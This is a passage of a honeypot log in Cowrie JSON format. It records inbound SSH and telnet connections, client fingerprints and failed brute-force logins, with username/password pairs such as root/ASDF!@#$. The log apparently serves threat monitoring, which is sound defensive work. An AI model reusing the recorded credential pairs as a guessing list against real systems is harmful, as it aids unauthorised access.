ha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:45.101381Z","src_ip":"159.65.58.200","session":"951c42bc307b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"severya","password":"123456","message":"login attempt [severya/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:46.526457Z","src_ip":"159.65.58.200","session":"951c42bc307b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:47.833586Z","src_ip":"159.65.58.200","session":"951c42bc307b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34016,"dst_ip":"159.203.135.109","dst_port":23,"session":"860ad49604ce","protocol":"telnet","message":"New connection: 170.64.224.25:34016 (159.203.135.109:23) [session: 860ad49604ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:51.060966Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":34800,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a2b50f851d","protocol":"ssh","message":"New connection: 152.32.205.153:34800 (10.17.0.5:22) [session: 28a2b50f851d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:52.726372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:52.730016Z","src_ip":"152.32.205.153","session":"28a2b50f851d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:52.739564Z","src_ip":"152.32.205.153","session":"28a2b50f851d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hb@123456","message":"login attempt [root/Hb@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:52.811565Z","src_ip":"152.32.205.153","session":"28a2b50f851d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:08:53.824466Z","src_ip":"152.32.205.153","session":"28a2b50f851d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.189.195.8","src_port":34100,"dst_ip":"159.203.135.109","dst_port":22,"session":"21ae3209273e","protocol":"ssh","message":"New connection: 203.189.195.8:34100 (159.203.135.109:22) [session: 21ae3209273e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:00.151691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:00.463454Z","src_ip":"203.189.195.8","session":"21ae3209273e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:00.751427Z","src_ip":"203.189.195.8","session":"21ae3209273e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ped","password":"123456","message":"login attempt [ped/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:01.954679Z","src_ip":"203.189.195.8","session":"21ae3209273e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:03.253250Z","src_ip":"203.189.195.8","session":"21ae3209273e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":41814,"dst_ip":"10.17.0.5","dst_port":22,"session":"479a6b75a50b","protocol":"ssh","message":"New connection: 196.196.150.5:41814 (10.17.0.5:22) [session: 479a6b75a50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:03.380097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:03.386131Z","src_ip":"196.196.150.5","session":"479a6b75a50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:03.496030Z","src_ip":"196.196.150.5","session":"479a6b75a50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123123","message":"login attempt [root/asdf123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:03.955417Z","src_ip":"196.196.150.5","session":"479a6b75a50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:05.064985Z","src_ip":"196.196.150.5","session":"479a6b75a50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":53350,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a388c329d48","protocol":"ssh","message":"New connection: 163.7.1.218:53350 (10.17.0.5:22) [session: 3a388c329d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:13.891000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:13.893829Z","src_ip":"163.7.1.218","session":"3a388c329d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:14.148925Z","src_ip":"163.7.1.218","session":"3a388c329d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDF!@#$","message":"login attempt [root/ASDF!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:15.198209Z","src_ip":"163.7.1.218","session":"3a388c329d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"def9f9b265f9","protocol":"ssh","message":"New connection: 50.6.173.74:45178 (10.17.0.5:22) [session: def9f9b265f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:15.273405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:15.277102Z","src_ip":"50.6.173.74","session":"def9f9b265f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:15.302471Z","src_ip":"50.6.173.74","session":"def9f9b265f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helium","password":"helium123","message":"login attempt [helium/helium123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:15.379983Z","src_ip":"50.6.173.74","session":"def9f9b265f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:16.408006Z","src_ip":"50.6.173.74","session":"def9f9b265f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:16.456974Z","src_ip":"163.7.1.218","session":"3a388c329d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":52892,"dst_ip":"10.17.0.5","dst_port":22,"session":"befe6ee20374","protocol":"ssh","message":"New connection: 45.143.200.246:52892 (10.17.0.5:22) [session: befe6ee20374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:24.252601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:24.256437Z","src_ip":"45.143.200.246","session":"befe6ee20374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:24.357970Z","src_ip":"45.143.200.246","session":"befe6ee20374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDF!@#$","message":"login attempt [root/ASDF!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:24.802144Z","src_ip":"45.143.200.246","session":"befe6ee20374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:25.908351Z","src_ip":"45.143.200.246","session":"befe6ee20374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7ba185408af","protocol":"ssh","message":"New connection: 8.210.75.243:40694 (10.17.0.5:22) [session: c7ba185408af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:27.251660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:27.255598Z","src_ip":"8.210.75.243","session":"c7ba185408af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60862,"dst_ip":"159.203.135.109","dst_port":22,"session":"40722dc9d1db","protocol":"ssh","message":"New connection: 109.237.96.109:60862 (159.203.135.109:22) [session: 40722dc9d1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:35.369538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:35.374400Z","src_ip":"109.237.96.109","session":"40722dc9d1db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:35.469850Z","src_ip":"109.237.96.109","session":"40722dc9d1db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160780","message":"login attempt [root/160780] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:35.751056Z","src_ip":"109.237.96.109","session":"40722dc9d1db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:36.847728Z","src_ip":"109.237.96.109","session":"40722dc9d1db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43810,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ef8eebc8ed","protocol":"telnet","message":"New connection: 170.64.224.25:43810 (159.203.135.109:23) [session: e2ef8eebc8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:42.159296Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":41116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6968d27cfb66","protocol":"ssh","message":"New connection: 89.223.69.22:41116 (159.203.135.109:22) [session: 6968d27cfb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:43.356989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:43.360451Z","src_ip":"89.223.69.22","session":"6968d27cfb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:43.469305Z","src_ip":"89.223.69.22","session":"6968d27cfb66","protocol":"ssh"}
